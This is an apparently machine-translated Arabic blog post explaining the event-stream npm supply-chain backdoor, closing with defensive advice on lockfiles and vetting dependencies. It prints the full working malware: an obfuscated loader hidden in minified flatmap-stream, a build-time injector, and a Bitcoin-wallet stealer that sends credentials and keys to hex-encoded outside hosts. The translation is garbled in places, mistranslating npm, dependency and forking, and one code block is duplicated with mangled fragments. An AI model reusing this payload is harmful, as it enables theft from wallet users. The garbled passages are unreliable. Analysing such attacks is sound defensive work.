شرح الباب الخلفي في دفق الأحداث

إذا كنت تعمل مع Javascript ، فمن المرجح أنك لاحظت الكثير من الضجيج حول الثغرة الأمنية في حزمة npm للحدث. ( تم نشر منشور عن هذا أيضًا على حبري ) . لسوء الحظ ، تم دفن تحليل مفصل للوضع تحت أكثر من 600 تعليق في العدد على Github ، ومعظمها شعلة حول حالة npm ، المصدر المفتوح بشكل عام ، إلخ. اعتقدت أنه كان سيئًا ، لأن الباب الخلفي ذكي حقًا ومثير للاهتمام بشكل استثنائي من وجهة نظر فنية ، كما أنه يعلمنا درسًا مهمًا حول كيفية الحفاظ على الأمان في تطبيقات جافا سكريبت. لذلك قررت كتابة منشور مع شرح مفصل لكيفية عمل هذا الهجوم وما يمكن أن يفعله مجتمع جافا سكريبت للدفاع بشكل أفضل ضد مثل هذه الهجمات في المستقبل.


قبل أن أبدأ ، أود أن أشكر FallingSnow و maths22 و joepie91 على تحقيقهم الممتاز. لقد قاموا بكل العمل الشاق لتحليل الضعف ومعرفة ما يفعله. لاحقًا في النص ، سأستشهد بنتائجها التي تشير إلى التأليف ، ولكن أعتقد أنه من الجدير الإشارة صراحةً إلى أنني لم أقم بكل هذا العمل بنفسي. أنا فقط ألخص ما اكتشفه الآخرون.


الخلفية


event-stream هو وحدة npm شائعة تحتوي على أدوات مساعدة للعمل مع تدفقات البيانات داخل تطبيق node.js. الآن يتم تنزيله أكثر من 1.9 مليون مرة يوميًا. ومع ذلك ، لم يكن في تطور نشط لعدة سنوات. مؤلفها ، دومينيك تار ، يدعم عددًا كبيرًا من المشاريع الأخرى ولم يعد يستخدم هذه الوحدة في المشاريع الشخصية ، لذلك تم تجاهله.


في منتصف شهر سبتمبر تقريبًا ، اقترح مستخدم يحمل لقب right9ctrl (تم حذف حساب GitHub الآن) تولي دعم الوحدة. وافق دومينيك على منح Github و npm حقوق الوصول 9ctrl وأعطاها. يبدو تاريخ ارتكاب الانتهاكات غير ضار للوهلة الأولى:



لقطة شاشة لسجل الالتزام في دفق الأحداث على Github


في 9 سبتمبر ، أضاف flatmap-stream وحدة flatmap-stream جديدة اعتمادًا على ذلك ، لتنفيذ وظيفة flatmap event-stream (حل مناسب تمامًا ، لأن دفق الأحداث يحتوي بالفعل على أدوات مساعدة مماثلة ، على سبيل المثال ، map عادية). بعد ذلك ، في 16 سبتمبر ، أزالت flatmap-stream تبعية flatmap-stream flatmap طريقة flatmap مباشرةً. ومرة أخرى ، لا شيء مزعج ، ليس من غير المعتاد إضافة تبعية جديدة ، ثم تقرر في غضون أيام قليلة أنه سيكون من الأفضل تنفيذ الشيء نفسه بنفسك.


هجوم


تبدو مكتبة الدفق المسطح غير ضارة أيضًا - في الواقع ، تحتوي على تطبيق لخريطة مسطحة لدفق البيانات (على الرغم من أن هناك شيئًا يجب الحذر منه ، فالمكتبة بها مساهم واحد فقط ولا توجد تنزيلات من npm حتى هذه المرحلة).



لقطة شاشة لصفحة البث المسطح على GitHub


ومع ذلك ، فإن نسخة هذه الوحدة المنشورة في npm تحتوي على كود إضافي في ملف مصغر ، والذي قد لا تلاحظه حتى ، مع العلم بوجودها:


 var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}(); 

الجزء الضار هنا في النهاية ، وقد تم تشويشه بشكل خاص لتجنب الكشف عنه:


 !function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}(); 

في مشكلة على Github ، استعاد FallingSnow شفرة مصدر الإشارة المرجعية وأظهر ما يجري هناك:


 // var r = require, t = process; // function e(r) { // return Buffer.from(r, "hex").toString() // } function decode(data) { return Buffer.from(data, "hex").toString() } // var n = r(e("2e2f746573742f64617461")), // var n = require(decode("2e2f746573742f64617461")) // var n = require('./test/data') var n = ["","","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"] // o = t[e(n[3])][e(n[4])]; // npm_package_description = process[decode(n[3])][decode(n[4])]; npm_package_description = process['env']['npm_package_description']; // if (!o) return; if (!npm_package_description) return; // var u = r(e(n[2]))[e(n[6])](e(n[5]), o), // var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description), var decipher = require('crypto')['createDecipher']('aes256', npm_package_description), // a = u.update(n[0], e(n[8]), e(n[9])); // decoded = decipher.update(n[0], e(n[8]), e(n[9])); decoded = decipher.update(n[0], 'hex', 'utf8'); console.log(n); // IDK why this is here... // a += u.final(e(n[9])); decoded += decipher.final('utf8'); // var f = new module.constructor; var newModule = new module.constructor; /**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/ // f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1]) // newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1]) // newModule.paths = module.paths // newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename) // newModule.exports(n[1]) 

لذلك ، يقوم الكود بتنزيل ملف ./test/data.js ، والذي تم تضمينه أيضًا في النسخة المنشورة في npm على الرغم من عدم وجود شفرة المصدر على GitHub. يحتوي هذا الملف على مجموعة من السلاسل المشفرة من خلال AES256. يتم تعيين npm_package_description البيئة npm_package_description بواسطة الأمر npm عندما يتم تنفيذ التعليمات البرمجية في سياق بعض الحزمة ، على سبيل المثال ، الحزمة الجذرية ، بما في ذلك دفق الحدث -> سلسلة تبعية دفق flatmap ، سيتم استخدامها لتعيين npm_package_description ( npm_package_description أخرى مماثلة). ( ملاحظة: بعبارة أخرى ، سيتم استخدام الوصف من ملف package.json لمشروعك الذي نفذت فيه هذا الأمر ). وبالتالي ، تقوم الشفرة بفك تشفير محتويات test/data.js باستخدام npm_package_description كمفتاح ، ثم تحاول تنفيذ النتيجة.


بالنسبة للغالبية العظمى من الحزم ، سيؤدي ذلك إلى حدوث خطأ (والذي سيلتقطه الرمز الضار ويتجاهله بهدوء) ، لأن وصفه ليس المفتاح الصحيح لتشفير AES256 وستكون نتيجة فك التشفير هراء. هذا هجوم مستهدف للغاية على حزمة واحدة محددة. قام maths22 وبعض المستخدمين الآخرين بتنزيل قائمة وحدات npm التي تعتمد على تدفق الأحداث ، والفرز من خلال أوصاف هذه الوحدات ، اخترنا المفتاح الصحيح ووجدنا الحزمة المستهدفة: كانت copay-dash ، وهي عبارة عن منصة لمحافظ البيتكوين. وصفها ، "A Secure Bitcoin Wallet" ، يقوم بفك تشفير محتويات test/data.js ، مع إظهار الرمز التالي (يرجى توفيره بواسطة joepie91 ):


 /*@@*/ module.exports = function(e) { try { if (!/build\:.*\-release/.test(process.argv[2])) return; var t = process.env.npm_package_description, r = require("fs"), i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js", n = r.statSync(i), c = r.readFileSync(i, "utf8"), o = require("crypto").createDecipher("aes256", t), s = o.update(e, "hex", "utf8"); s = "\n" + (s += o.final("utf8")); var a = c.indexOf("\n/*@@*/"); 0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() { try { r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime) } catch (e) {} }) } catch (e) {} }; 

يطلق هذا الرمز مستوى آخر من فك التشفير ، يتم عنده فتح البرنامج النصي الخبيث النهائي:


 /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }(); \\ \\ nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C nDXUs / peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj \\ nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW + / BiGud7b77Fwfq372fUuEIk \\ n2P / pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762 \\ nPDBMwQsCKQcpKDXw / 6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz \\ nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl / CJ / x76To \\ n2wIDAQAB \ /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }(); 

كما قد تكون خمنت ، يحاول هذا البرنامج النصي سرقة محفظة البيتكوين الخاصة بك وتحميل بياناتها إلى خادم المهاجم.


تحديث: أصدر فريق npm تقريرًا رسميًا عن الحادث ، والذي أوضح أن الرمز الضار كان من المقرر إطلاقه في عملية إطلاق Copay من أجل حقن نص برمجي لسرقة البيتكوين في كود تطبيق محفظة Copay.


لتلخيص ذلك


  • تستخدم منصة copay-dash الشائعة لبيتكوين تبعية دفق الأحداث.
  • في شهر سبتمبر ، لمدة أسبوع تقريبًا ، احتوى دفق الأحداث على تبعية دفق خريطة مسطحة ، حيث تم نقل المشروع إلى مطور جديد أضاف التبعية وأزالها بعد ذلك بأسبوع.
  • يحتوي دفق flatmap على جزء مخفي في نهاية الكود المصغر ، الذي حاول فك تشفير الخطوط من test/data.js ، باستخدام وصف الحزمة الجذر كمفتاح AES256.
  • بالنسبة لأي حزمة عادية ، تسبب هذا في حدوث خطأ (حيث كان وصف الحزمة هو المفتاح الخطأ) ، والذي تمت معالجته بهدوء. ولكن بالنسبة إلى copay-dash ، أعطى فك التشفير جافا سكريبت صالحًا ، والذي أطلق مرحلة أخرى من فك التشفير ونفذ نصًا ضارًا يسرق محفظة البيتكوين الخاصة بك.

ماذا تفعل الان؟


لقد كان هجومًا ماكرًا بشكل مدهش ، يذكرنا بشدة بمقالة يناير ، مع وصف لهجوم افتراضي مماثل. اجتاحت المهاجم مساراته بمهارة - يظهر رمز وتاريخ عمليات ارتكاب Github حالة غير مؤذية ومريبة (ينضم المطور الجديد إلى المشروع ، ويضيف ميزة ، ثم يغير تنفيذه قليلاً). بالإضافة إلى العلامات المشبوهة في دفق Flatmap (حزمة جديدة ، لا مساهمين وتحميل الإحصائيات) ، تبين أن الهجوم كان غير مرئي تقريبًا. وفي الواقع ، لم يتم اكتشافه لمدة شهرين وتم العثور عليه الآن فقط لأن المهاجم ارتكب خطأً crypto.createDecipher باستخدام طريقة crypto.createDecipher القديمة بدلاً من crypto.createDecipheriv ، مما تسبب في رسالة مريبة حول استخدام الطريقة القديمة في مكتبة أخرى ، والتي يستخدم دفق الأحداث.


للأسف ، هذا النوع من الهجمات لن يتركنا في المستقبل القريب. JavaScript هي اللغة الأكثر شيوعًا في الوقت الحالي ، مما يعني أنها ستظل هدفًا جذابًا للمتسللين. جافا سكريبت لديها أيضًا وظائف قليلة نسبيًا في المكتبة القياسية مقارنة باللغات الأخرى ، مما يجبر المطورين على استخدام الحزم من npm - إلى جانب العوامل الثقافية الأخرى ، وهذا يؤدي إلى حقيقة أن مشاريع جافا سكريبت عادةً ما تحتوي على شجرة تبعية ضخمة.


تجدر الإشارة إلى أنه على الرغم من أن تطبيقات جافا سكريبت أكثر عرضة لهذه الفئة من الثغرات الأمنية ، إلا أن هذا ليس بالضرورة هو السبب الذي يجعل جافا سكريبت أقل أمانًا بشكل عام. عادة ما يتم استخدام JavaScript من قبل المطورين الأكثر نشاطًا الذين يحاولون أن يكونوا على موجة من التقدم ، أي أن المستخدمين يقومون بتثبيت المزيد من الحزم والتحديثات ، بما في ذلك إصلاحات الأمان. في الوقت نفسه ، تم اختراق تطبيق جافا من Equifax للسبب المعاكس تمامًا - لم يثبتوا تحديثات الأمان لـ Apache Struts لشهور. هذا النوع من الثغرات أقل احتمالًا في تطبيقات JavaScript. في النهاية ، عند اختيار مكدس تكنولوجي لشركة ، يطرح سؤال الأمان دائمًا. سيكون الدرس المهم هو فهم سيناريوهات الهجوم المحتملة لقرارك الخاص والقدرة على توقعها.


ماذا يعني هذا لكومة جافا سكريبت؟ لا يوجد نقص في الأفكار والاقتراحات حول كيفية منع الآلية الوقائية الوطنية أو المجتمعات الأخرى لمثل هذه الهجمات. ولكن بالنسبة للمستخدمين النهائيين ، هناك خطوتان أساسيتان على الأقل لتقليل المخاطر:


  • استخدم ملفات القفل . لا يهم إذا كان yarn.lock أو package-lock.json ، فإن أي ملف قفل يضمن أنك ستتلقى نفس إصدارات الحزم مع كل تثبيت ، أي إذا كنت في أمان اليوم ، فستبقى كما هي غدًا. التطبيقات التي تمارس تبعيات عائمة بدون استخدام ملفات القفل تكون عرضة بشكل خاص للتحديثات الضارة ، لأنها تقوم تلقائيًا بتثبيت أحدث إصدار متوفر من التبعيات ، أي أنه يمكن اختراقك في كل عملية نشر بعد اختراق أحد تبعياتك ونشرها الإصدار مع الضعف. باستخدام ملفات القفل ، ستحدد على الأقل مخاطرك على الإجراءات اليدوية للمطورين الذين يضيفون ويحدّثون الحزم ، والتي يمكن التحقق منها مرتين من خلال مراجعة التعليمات البرمجية أو سياسات الشركة الأخرى.


  • فكر قبل أن تضع شيئًا . كما هو موضح أعلاه ، هذه ليست حلا سحريا ، لا يزال بإمكان المتسللين التسلل عبر الإشارات المرجعية في التعليمات البرمجية المصغرة التي يصعب العثور عليها ، حتى إذا كنت تعلم أنها موجودة. ولكن ليس أقل ، يمكنك تقليل المخاطر الخاصة بك إذا التزمت بالحزم المشهورة والمدعومة بنشاط. قبل تثبيت إدمان جديد ، اسأل نفسك أولاً عما إذا كنت بحاجة إليه حقًا. إذا كنت تعرف بالفعل كيفية كتابة الرمز ، ولا يستغرق الأمر أكثر من اثني عشر سطرًا ، فما عليك سوى كتابته بنفسك. إذا كنت لا تزال بحاجة إلى تبعية ، فقم بتقييمها قبل التثبيت. كم عدد التنزيلات التي لديها على npm؟ هل يبدو المستودع على Github محدثًا بشكل نشط؟ هل تم تحديث الحزمة مؤخرا؟ إذا لم يكن الأمر كذلك ، فكر في التزوير واستخدامه. سيقلل هذا من المخاطر ، لأنك لن تتعرض لتحديثات خطيرة في المستقبل ، ستتمكن من قراءة شفرة المصدر وتقليلها بنفسك والتأكد من أنها تحتوي على فعلاً.


Source: https://habr.com/ru/post/ar431360/


All Articles